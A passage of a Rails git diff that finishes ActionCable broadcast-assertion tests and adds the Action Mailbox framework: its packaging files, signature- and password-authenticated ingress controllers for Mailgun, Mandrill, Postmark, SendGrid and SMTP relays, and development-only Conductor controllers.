+        ActionCable.server.broadcast "test", "world"
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_broadcasts_failure
+    error = assert_raises Minitest::Assertion do
+      assert_no_broadcasts "test" do
+        ActionCable.server.broadcast "test", "hello"
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+end
+
+class TransmittedDataTest < ActionCable::TestCase
+  include ActionCable::TestHelper
+
+  def test_assert_broadcast_on
+    assert_nothing_raised do
+      assert_broadcast_on("test", "message") do
+        ActionCable.server.broadcast "test", "message"
+      end
+    end
+  end
+
+  def test_assert_broadcast_on_with_hash
+    assert_nothing_raised do
+      assert_broadcast_on("test", text: "hello") do
+        ActionCable.server.broadcast "test", { text: "hello" }
+      end
+    end
+  end
+
+  def test_assert_broadcast_on_with_no_block
+    assert_nothing_raised do
+      ActionCable.server.broadcast "test", "hello"
+      assert_broadcast_on "test", "hello"
+    end
+
+    assert_nothing_raised do
+      ActionCable.server.broadcast "test", "world"
+      assert_broadcast_on "test", "world"
+    end
+  end
+
+  def test_assert_broadcast_on_message
+    ActionCable.server.broadcast "test", "hello"
+    error = assert_raises Minitest::Assertion do
+      assert_broadcast_on("test", "world")
+    end
+
+    assert_match(/No messages sent/, error.message)
+    assert_match(/Message\(s\) found:\nhello/, error.message)
+  end
+
+  def test_assert_broadcast_on_message_with_empty_channel
+    error = assert_raises Minitest::Assertion do
+      assert_broadcast_on("test", "world")
+    end
+
+    assert_match(/No messages sent/, error.message)
+    assert_match(/No message found for test/, error.message)
+  end
+end
diff --git a/actioncable/test/worker_test.rb b/actioncable/test/worker_test.rb
index 3385593f745ea..f7dc428441ab6 100644
--- a/actioncable/test/worker_test.rb
+++ b/actioncable/test/worker_test.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "test_helper"
 
-class WorkerTest < ActiveSupport::TestCase
+class WorkerTest < ActionCable::TestCase
   class Receiver
     attr_accessor :last_action
 
diff --git a/actionmailbox/.gitignore b/actionmailbox/.gitignore
new file mode 100644
index 0000000000000..d84c713a08039
--- /dev/null
+++ b/actionmailbox/.gitignore
@@ -0,0 +1,7 @@
+/test/dummy/storage/*.sqlite3
+/test/dummy/storage/*.sqlite3-*
+/test/dummy/db/*.sqlite3
+/test/dummy/db/*.sqlite3-*
+/test/dummy/log/*.log
+/test/dummy/tmp/
+/tmp/
diff --git a/actionmailbox/CHANGELOG.md b/actionmailbox/CHANGELOG.md
new file mode 100644
index 0000000000000..a4d7342c05681
--- /dev/null
+++ b/actionmailbox/CHANGELOG.md
@@ -0,0 +1,2 @@
+
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actionmailbox/CHANGELOG.md) for previous changes.
diff --git a/actionmailbox/MIT-LICENSE b/actionmailbox/MIT-LICENSE
new file mode 100644
index 0000000000000..18b341857b9f9
--- /dev/null
+++ b/actionmailbox/MIT-LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 37signals LLC
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/actionmailbox/README.md b/actionmailbox/README.md
new file mode 100644
index 0000000000000..47fcbc0113fe1
--- /dev/null
+++ b/actionmailbox/README.md
@@ -0,0 +1,13 @@
+# Action Mailbox
+
+Action Mailbox routes incoming emails to controller-like mailboxes for processing in \Rails. It ships with ingresses for Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound mails directly via the built-in Exim, Postfix, and Qmail ingresses.
+
+The inbound emails are turned into `InboundEmail` records using Active Record and feature lifecycle tracking, storage of the original email on cloud storage via Active Storage, and responsible data handling with on-by-default incineration.
+
+These inbound emails are routed asynchronously using Active Job to one or several dedicated mailboxes, which are capable of interacting directly with the rest of your domain model.
+
+You can read more about Action Mailbox in the [Action Mailbox Basics](https://guides.rubyonrails.org/action_mailbox_basics.html) guide.
+
+## License
+
+Action Mailbox is released under the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/actionmailbox/Rakefile b/actionmailbox/Rakefile
new file mode 100644
index 0000000000000..4590a03128eac
--- /dev/null
+++ b/actionmailbox/Rakefile
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "bundler/setup"
+require "bundler/gem_tasks"
+require "rake/testtask"
+
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.pattern = "test/**/*_test.rb"
+  t.verbose = true
+  t.options = "--profile" if ENV["CI"]
+end
+
+namespace :test do
+  task isolated: :railties do
+    FileList["test/**/*_test.rb"].exclude("test/dummy/**/*").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib", "-Itest", file)
+    end || raise("Failures")
+  end
+
+  task :railties do
+    ["action_mailbox/engine"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+end
+
+task default: :test
diff --git a/actionmailbox/actionmailbox.gemspec b/actionmailbox/actionmailbox.gemspec
new file mode 100644
index 0000000000000..7496467f95f73
--- /dev/null
+++ b/actionmailbox/actionmailbox.gemspec
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actionmailbox"
+  s.version     = version
+  s.summary     = "Inbound email handling framework."
+  s.description = "Receive and process incoming emails in Rails applications."
+
+  s.required_ruby_version = ">= 3.2.0"
+
+  s.license  = "MIT"
+
+  s.authors  = ["David Heinemeier Hansson", "George Claghorn"]
+  s.email    = ["david@loudthinking.com", "george@basecamp.com"]
+  s.homepage = "https://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*", "app/**/*", "config/**/*", "db/**/*"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actionmailbox/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actionmailbox",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "activerecord",  version
+  s.add_dependency "activestorage", version
+  s.add_dependency "activejob",     version
+  s.add_dependency "actionpack",    version
+
+  s.add_dependency "mail", ">= 2.8.0"
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/base_controller.rb b/actionmailbox/app/controllers/action_mailbox/base_controller.rb
new file mode 100644
index 0000000000000..fdd3b5e735aa8
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/base_controller.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # The base class for all Action Mailbox ingress controllers.
+  class BaseController < ActionController::Base
+    skip_forgery_protection
+
+    before_action :ensure_configured
+
+    private
+      def ensure_configured
+        unless ActionMailbox.ingress == ingress_name
+          head :not_found
+        end
+      end
+
+      def ingress_name
+        self.class.name.remove(/\AActionMailbox::Ingresses::/, /::InboundEmailsController\z/).underscore.to_sym
+      end
+
+
+      def authenticate_by_password
+        if password.present?
+          http_basic_authenticate_or_request_with name: "actionmailbox", password: password, realm: "Action Mailbox"
+        else
+          raise ArgumentError, "Missing required ingress credentials"
+        end
+      end
+
+      def password
+        Rails.application.credentials.dig(:action_mailbox, :ingress_password) || ENV["RAILS_INBOUND_EMAIL_PASSWORD"]
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb b/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..c14e5334755e8
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Ingests inbound emails from Mailgun. Requires the following parameters:
+  #
+  # - +body-mime+: The full RFC 822 message
+  # - +timestamp+: The current time according to Mailgun as the number of seconds passed since the UNIX epoch
+  # - +token+: A randomly-generated, 50-character string
+  # - +signature+: A hexadecimal HMAC-SHA256 of the timestamp concatenated with the token, generated using the Mailgun Signing key
+  #
+  # Authenticates requests by validating their signatures.
+  #
+  # Returns:
+  #
+  # - <tt>204 No Content</tt> if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox
+  # - <tt>401 Unauthorized</tt> if the request's signature could not be validated, or if its timestamp is more than 2 minutes old
+  # - <tt>404 Not Found</tt> if Action Mailbox is not configured to accept inbound emails from Mailgun
+  # - <tt>422 Unprocessable Entity</tt> if the request is missing required parameters
+  # - <tt>500 Server Error</tt> if the Mailgun Signing key is missing, or one of the Active Record database,
+  #   the Active Storage service, or the Active Job backend is misconfigured or unavailable
+  #
+  # == Usage
+  #
+  # 1. Give Action Mailbox your Mailgun Signing key (which you can find under Settings -> Security & Users -> API security in Mailgun)
+  #    so it can authenticate requests to the Mailgun ingress.
+  #
+  #    Use <tt>bin/rails credentials:edit</tt> to add your Signing key to your application's encrypted credentials under
+  #    +action_mailbox.mailgun_signing_key+, where Action Mailbox will automatically find it:
+  #
+  #        action_mailbox:
+  #          mailgun_signing_key: ...
+  #
+  #    Alternatively, provide your Signing key in the +MAILGUN_INGRESS_SIGNING_KEY+ environment variable.
+  #
+  # 2. Tell Action Mailbox to accept emails from Mailgun:
+  #
+  #        # config/environments/production.rb
+  #        config.action_mailbox.ingress = :mailgun
+  #
+  # 3. {Configure Mailgun}[https://documentation.mailgun.com/en/latest/user_manual.html#receiving-forwarding-and-storing-messages]
+  #    to forward inbound emails to +/rails/action_mailbox/mailgun/inbound_emails/mime+.
+  #
+  #    If your application lived at <tt>https://example.com</tt>, you would specify the fully-qualified URL
+  #    <tt>https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime</tt>.
+  class Ingresses::Mailgun::InboundEmailsController < ActionMailbox::BaseController
+    before_action :authenticate
+    param_encoding :create, "body-mime", Encoding::ASCII_8BIT
+
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! mail
+    end
+
+    private
+      def mail
+        params.require("body-mime").tap do |raw_email|
+          raw_email.prepend("X-Original-To: ", params.require(:recipient), "\n") if params.key?(:recipient)
+        end
+      end
+
+      def authenticate
+        head :unauthorized unless authenticated?
+      end
+
+      def authenticated?
+        if key.present?
+          Authenticator.new(
+            key:       key,
+            timestamp: params.require(:timestamp),
+            token:     params.require(:token),
+            signature: params.require(:signature)
+          ).authenticated?
+        else
+          raise ArgumentError, <<~MESSAGE.squish
+            Missing required Mailgun Signing key. Set action_mailbox.mailgun_signing_key in your application's
+            encrypted credentials or provide the MAILGUN_INGRESS_SIGNING_KEY environment variable.
+          MESSAGE
+        end
+      end
+
+      def key
+        Rails.application.credentials.dig(:action_mailbox, :mailgun_signing_key) || ENV["MAILGUN_INGRESS_SIGNING_KEY"]
+      end
+
+      class Authenticator
+        attr_reader :key, :timestamp, :token, :signature
+
+        def initialize(key:, timestamp:, token:, signature:)
+          @key, @timestamp, @token, @signature = key, Integer(timestamp), token, signature
+        end
+
+        def authenticated?
+          signed? && recent?
+        end
+
+        private
+          def signed?
+            ActiveSupport::SecurityUtils.secure_compare signature, expected_signature
+          end
+
+          # Allow for 2 minutes of drift between Mailgun time and local server time.
+          def recent?
+            Time.at(timestamp) >= 2.minutes.ago
+          end
+
+          def expected_signature
+            OpenSSL::HMAC.hexdigest OpenSSL::Digest::SHA256.new, key, "#{timestamp}#{token}"
+          end
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb b/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..15249c3803007
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Ingests inbound emails from Mandrill.
+  #
+  # Requires a +mandrill_events+ parameter containing a JSON array of Mandrill inbound email event objects.
+  # Each event is expected to have a +msg+ object containing a full RFC 822 message in its +raw_msg+ property.
+  #
+  # Returns:
+  #
+  # - <tt>204 No Content</tt> if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox
+  # - <tt>401 Unauthorized</tt> if the request's signature could not be validated
+  # - <tt>404 Not Found</tt> if Action Mailbox is not configured to accept inbound emails from Mandrill
+  # - <tt>422 Unprocessable Entity</tt> if the request is missing required parameters
+  # - <tt>500 Server Error</tt> if the Mandrill API key is missing, or one of the Active Record database,
+  #   the Active Storage service, or the Active Job backend is misconfigured or unavailable
+  class Ingresses::Mandrill::InboundEmailsController < ActionMailbox::BaseController
+    before_action :authenticate, except: :health_check
+
+    def create
+      raw_emails.each { |raw_email| ActionMailbox::InboundEmail.create_and_extract_message_id! raw_email }
+      head :ok
+    rescue JSON::ParserError => error
+      logger.error error.message
+      head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    end
+
+    def health_check
+      head :ok
+    end
+
+    private
+      def raw_emails
+        events.select { |event| event["event"] == "inbound" }.collect { |event| event.dig("msg", "raw_msg") }
+      end
+
+      def events
+        JSON.parse params.require(:mandrill_events)
+      end
+
+
+      def authenticate
+        head :unauthorized unless authenticated?
+      end
+
+      def authenticated?
+        if key.present?
+          Authenticator.new(request, key).authenticated?
+        else
+          raise ArgumentError, <<~MESSAGE.squish
+            Missing required Mandrill API key. Set action_mailbox.mandrill_api_key in your application's
+            encrypted credentials or provide the MANDRILL_INGRESS_API_KEY environment variable.
+          MESSAGE
+        end
+      end
+
+      def key
+        Rails.application.credentials.dig(:action_mailbox, :mandrill_api_key) || ENV["MANDRILL_INGRESS_API_KEY"]
+      end
+
+      class Authenticator
+        attr_reader :request, :key
+
+        def initialize(request, key)
+          @request, @key = request, key
+        end
+
+        def authenticated?
+          ActiveSupport::SecurityUtils.secure_compare given_signature, expected_signature
+        end
+
+        private
+          def given_signature
+            request.headers["X-Mandrill-Signature"]
+          end
+
+          def expected_signature
+            Base64.strict_encode64 OpenSSL::HMAC.digest(OpenSSL::Digest::SHA1.new, key, message)
+          end
+
+          def message
+            request.url + request.POST.sort.flatten.join
+          end
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller.rb b/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..cb32a58767cf7
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Ingests inbound emails from Postmark. Requires a +RawEmail+ parameter containing a full RFC 822 message.
+  #
+  # Authenticates requests using HTTP basic access authentication. The username is always +actionmailbox+, and the
+  # password is read from the application's encrypted credentials or an environment variable. See the Usage section below.
+  #
+  # Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to
+  # the Postmark ingress can learn its password. You should only use the Postmark ingress over HTTPS.
+  #
+  # Returns:
+  #
+  # - <tt>204 No Content</tt> if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox
+  # - <tt>401 Unauthorized</tt> if the request's signature could not be validated
+  # - <tt>404 Not Found</tt> if Action Mailbox is not configured to accept inbound emails from Postmark
+  # - <tt>422 Unprocessable Entity</tt> if the request is missing the required +RawEmail+ parameter
+  # - <tt>500 Server Error</tt> if the ingress password is not configured, or if one of the Active Record database,
+  #   the Active Storage service, or the Active Job backend is misconfigured or unavailable
+  #
+  # == Usage
+  #
+  # 1. Tell Action Mailbox to accept emails from Postmark:
+  #
+  #        # config/environments/production.rb
+  #        config.action_mailbox.ingress = :postmark
+  #
+  # 2. Generate a strong password that Action Mailbox can use to authenticate requests to the Postmark ingress.
+  #
+  #    Use <tt>bin/rails credentials:edit</tt> to add the password to your application's encrypted credentials under
+  #    +action_mailbox.ingress_password+, where Action Mailbox will automatically find it:
+  #
+  #        action_mailbox:
+  #          ingress_password: ...
+  #
+  #    Alternatively, provide the password in the +RAILS_INBOUND_EMAIL_PASSWORD+ environment variable.
+  #
+  # 3. {Configure Postmark}[https://postmarkapp.com/manual#configure-your-inbound-webhook-url] to forward inbound emails
+  #    to +/rails/action_mailbox/postmark/inbound_emails+ with the username +actionmailbox+ and the password you
+  #    previously generated. If your application lived at <tt>https://example.com</tt>, you would configure your
+  #    Postmark inbound webhook with the following fully-qualified URL:
+  #
+  #        https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails
+  #
+  #    *NOTE:* When configuring your Postmark inbound webhook, be sure to check the box labeled *"Include raw email
+  #    content in JSON payload"*. Action Mailbox needs the raw email content to work.
+  class Ingresses::Postmark::InboundEmailsController < ActionMailbox::BaseController
+    before_action :authenticate_by_password
+    param_encoding :create, "RawEmail", Encoding::ASCII_8BIT
+
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! mail
+    rescue ActionController::ParameterMissing => error
+      logger.error <<~MESSAGE
+        #{error.message}
+
+        When configuring your Postmark inbound webhook, be sure to check the box
+        labeled "Include raw email content in JSON payload".
+      MESSAGE
+      head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    end
+
+    private
+      def mail
+        params.require("RawEmail").tap do |raw_email|
+          raw_email.prepend("X-Original-To: ", params.require("OriginalRecipient"), "\n") if params.key?("OriginalRecipient")
+        end
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller.rb b/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..2cf5ceece8f51
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Ingests inbound emails relayed from an SMTP server.
+  #
+  # Authenticates requests using HTTP basic access authentication. The username is always +actionmailbox+, and the
+  # password is read from the application's encrypted credentials or an environment variable. See the Usage section below.
+  #
+  # Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to
+  # the ingress can learn its password. You should only use this ingress over HTTPS.
+  #
+  # Returns:
+  #
+  # - <tt>204 No Content</tt> if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox
+  # - <tt>401 Unauthorized</tt> if the request could not be authenticated
+  # - <tt>404 Not Found</tt> if Action Mailbox is not configured to accept inbound emails relayed from an SMTP server
+  # - <tt>415 Unsupported Media Type</tt> if the request does not contain an RFC 822 message
+  # - <tt>500 Server Error</tt> if the ingress password is not configured, or if one of the Active Record database,
+  #   the Active Storage service, or the Active Job backend is misconfigured or unavailable
+  #
+  # == Usage
+  #
+  # 1. Tell Action Mailbox to accept emails from an SMTP relay:
+  #
+  #        # config/environments/production.rb
+  #        config.action_mailbox.ingress = :relay
+  #
+  # 2. Generate a strong password that Action Mailbox can use to authenticate requests to the ingress.
+  #
+  #    Use <tt>bin/rails credentials:edit</tt> to add the password to your application's encrypted credentials under
+  #    +action_mailbox.ingress_password+, where Action Mailbox will automatically find it:
+  #
+  #        action_mailbox:
+  #          ingress_password: ...
+  #
+  #    Alternatively, provide the password in the +RAILS_INBOUND_EMAIL_PASSWORD+ environment variable.
+  #
+  # 3. Configure your SMTP server to pipe inbound emails to the appropriate ingress command, providing the +URL+ of the
+  #    relay ingress and the +INGRESS_PASSWORD+ you previously generated.
+  #
+  #    If your application lives at <tt>https://example.com</tt>, you would configure the Postfix SMTP server to pipe
+  #    inbound emails to the following command:
+  #
+  #        $ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/postfix/inbound_emails INGRESS_PASSWORD=...
+  #
+  #    Built-in ingress commands are available for these popular SMTP servers:
+  #
+  #    - Exim (<tt>bin/rails action_mailbox:ingress:exim</tt>)
+  #    - Postfix (<tt>bin/rails action_mailbox:ingress:postfix</tt>)
+  #    - Qmail (<tt>bin/rails action_mailbox:ingress:qmail</tt>)
+  class Ingresses::Relay::InboundEmailsController < ActionMailbox::BaseController
+    before_action :authenticate_by_password, :require_valid_rfc822_message
+
+    def create
+      if request.body
+        ActionMailbox::InboundEmail.create_and_extract_message_id! request.body.read
+      else
+        head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+      end
+    end
+
+    private
+      def require_valid_rfc822_message
+        unless request.media_type == "message/rfc822"
+          head :unsupported_media_type
+        end
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller.rb b/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..19904c1aae634
--- /dev/null
+++ b/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Ingests inbound emails from SendGrid. Requires an +email+ parameter containing a full RFC 822 message.
+  #
+  # Authenticates requests using HTTP basic access authentication. The username is always +actionmailbox+, and the
+  # password is read from the application's encrypted credentials or an environment variable. See the Usage section below.
+  #
+  # Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to
+  # the SendGrid ingress can learn its password. You should only use the SendGrid ingress over HTTPS.
+  #
+  # Returns:
+  #
+  # - <tt>204 No Content</tt> if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox
+  # - <tt>401 Unauthorized</tt> if the request's signature could not be validated
+  # - <tt>404 Not Found</tt> if Action Mailbox is not configured to accept inbound emails from SendGrid
+  # - <tt>422 Unprocessable Entity</tt> if the request is missing the required +email+ parameter
+  # - <tt>500 Server Error</tt> if the ingress password is not configured, or if one of the Active Record database,
+  #   the Active Storage service, or the Active Job backend is misconfigured or unavailable
+  #
+  # == Usage
+  #
+  # 1. Tell Action Mailbox to accept emails from SendGrid:
+  #
+  #        # config/environments/production.rb
+  #        config.action_mailbox.ingress = :sendgrid
+  #
+  # 2. Generate a strong password that Action Mailbox can use to authenticate requests to the SendGrid ingress.
+  #
+  #    Use <tt>bin/rails credentials:edit</tt> to add the password to your application's encrypted credentials under
+  #    +action_mailbox.ingress_password+, where Action Mailbox will automatically find it:
+  #
+  #        action_mailbox:
+  #          ingress_password: ...
+  #
+  #    Alternatively, provide the password in the +RAILS_INBOUND_EMAIL_PASSWORD+ environment variable.
+  #
+  # 3. {Configure SendGrid Inbound Parse}[https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/]
+  #    to forward inbound emails to +/rails/action_mailbox/sendgrid/inbound_emails+ with the username +actionmailbox+ and
+  #    the password you previously generated. If your application lived at <tt>https://example.com</tt>, you would
+  #    configure SendGrid with the following fully-qualified URL:
+  #
+  #        https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails
+  #
+  #    *NOTE:* When configuring your SendGrid Inbound Parse webhook, be sure to check the box labeled *"Post the raw,
+  #    full MIME message."* Action Mailbox needs the raw MIME message to work.
+  class Ingresses::Sendgrid::InboundEmailsController < ActionMailbox::BaseController
+    before_action :authenticate_by_password
+    param_encoding :create, :email, Encoding::ASCII_8BIT
+
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! mail
+    rescue JSON::ParserError => error
+      logger.error error.message
+      head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+    end
+
+    private
+      def mail
+        params.require(:email).tap do |raw_email|
+          envelope["to"].each { |to| raw_email.prepend("X-Original-To: ", to, "\n") } if params.key?(:envelope)
+        end
+      end
+
+      def envelope
+        JSON.parse(params.require(:envelope))
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller.rb b/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller.rb
new file mode 100644
index 0000000000000..dfc382c7dcdeb
--- /dev/null
+++ b/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+module Rails
+  class Conductor::ActionMailbox::InboundEmails::SourcesController < Rails::Conductor::BaseController # :nodoc:
+    def new
+    end
+
+    def create
+      inbound_email = ActionMailbox::InboundEmail.create_and_extract_message_id! params[:source]
+      redirect_to main_app.rails_conductor_inbound_email_url(inbound_email)
+    end
+  end
+end
diff --git a/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb b/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb
new file mode 100644
index 0000000000000..1146082b4b2b7
--- /dev/null
+++ b/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+module Rails
+  class Conductor::ActionMailbox::InboundEmailsController < Rails::Conductor::BaseController
+    def index
+      @inbound_emails = ActionMailbox::InboundEmail.order(created_at: :desc)
+    end
+
+    def new
+    end
+
+    def show
+      @inbound_email = ActionMailbox::InboundEmail.find(params[:id])
+    end
+
+    def create
+      inbound_email = create_inbound_email(new_mail)
+      redirect_to main_app.rails_conductor_inbound_email_url(inbound_email)
+    end
+
+    private
+      def new_mail
+        Mail.new(mail_params.except(:attachments).to_h).tap do |mail|
+          mail[:bcc]&.include_in_headers = true
+          mail_params[:attachments]&.select(&:present?)&.each do |attachment|
+            mail.add_file(filename: attachment.original_filename, content: attachment.read)
+          end
+        end
+      end
+
+      def mail_params
+        params.expect(mail: [:from, :to, :cc, :bcc, :x_original_to, :in_reply_to, :subject, :body, attachments: []])
+      end
+
+      def create_inbound_email(mail)
+        ActionMailbox::InboundEmail.create_and_extract_message_id!(mail.to_s)
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller.rb b/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller.rb
new file mode 100644
index 0000000000000..2466eda8eac63
--- /dev/null
+++ b/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+module Rails
+  # Incinerating will destroy an email that is due and has already been processed.
+  class Conductor::ActionMailbox::IncineratesController < Rails::Conductor::BaseController
+    def create
+      ActionMailbox::InboundEmail.find(params[:inbound_email_id]).incinerate
+
+      redirect_to main_app.rails_conductor_inbound_emails_url
+    end
+  end
+end
diff --git a/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller.rb b/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller.rb
new file mode 100644
index 0000000000000..a1f266d00b88d
--- /dev/null
+++ b/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+module Rails
+  # Rerouting will run routing and processing on an email that has already been, or attempted to be, processed.
+  class Conductor::ActionMailbox::ReroutesController < Rails::Conductor::BaseController
+    def create
+      inbound_email = ActionMailbox::InboundEmail.find(params[:inbound_email_id])
+      reroute inbound_email
+
+      redirect_to main_app.rails_conductor_inbound_email_url(inbound_email)
+    end
+
+    private
+      def reroute(inbound_email)
+        inbound_email.pending!
+        inbound_email.route_later
+      end
+  end
+end
diff --git a/actionmailbox/app/controllers/rails/conductor/base_controller.rb b/actionmailbox/app/controllers/rails/conductor/base_controller.rb
new file mode 100644
index 0000000000000..93c4e2a66e7a6
--- /dev/null
+++ b/actionmailbox/app/controllers/rails/conductor/base_controller.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Rails
+  # TODO: Move this to Rails::Conductor gem
+  class Conductor::BaseController < ActionController::Base
+    layout "rails/conductor"
+    before_action :ensure_development_env
+
+    private
+      def ensure_development_env
+        head :forbidden unless Rails.env.development?
+      end
+  end
+end
diff --git a/actionmailbox/app/jobs/action_mailbox/incineration_job.rb b/actionmailbox/app/jobs/action_mailbox/incineration_job.rb
new file mode 100644
index 0000000000000..351bd67c693f9
--- /dev/null
+++ b/actionmailbox/app/jobs/action_mailbox/incineration_job.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # You can configure when this +IncinerationJob+ will be run as a time-after-processing using the
+  # +config.action_mailbox.incinerate_after+ or +ActionMailbox.incinerate_after+ setting.
+  #
+  # Since this incineration is set for the future, it'll automatically ignore any <tt>InboundEmail</tt>s
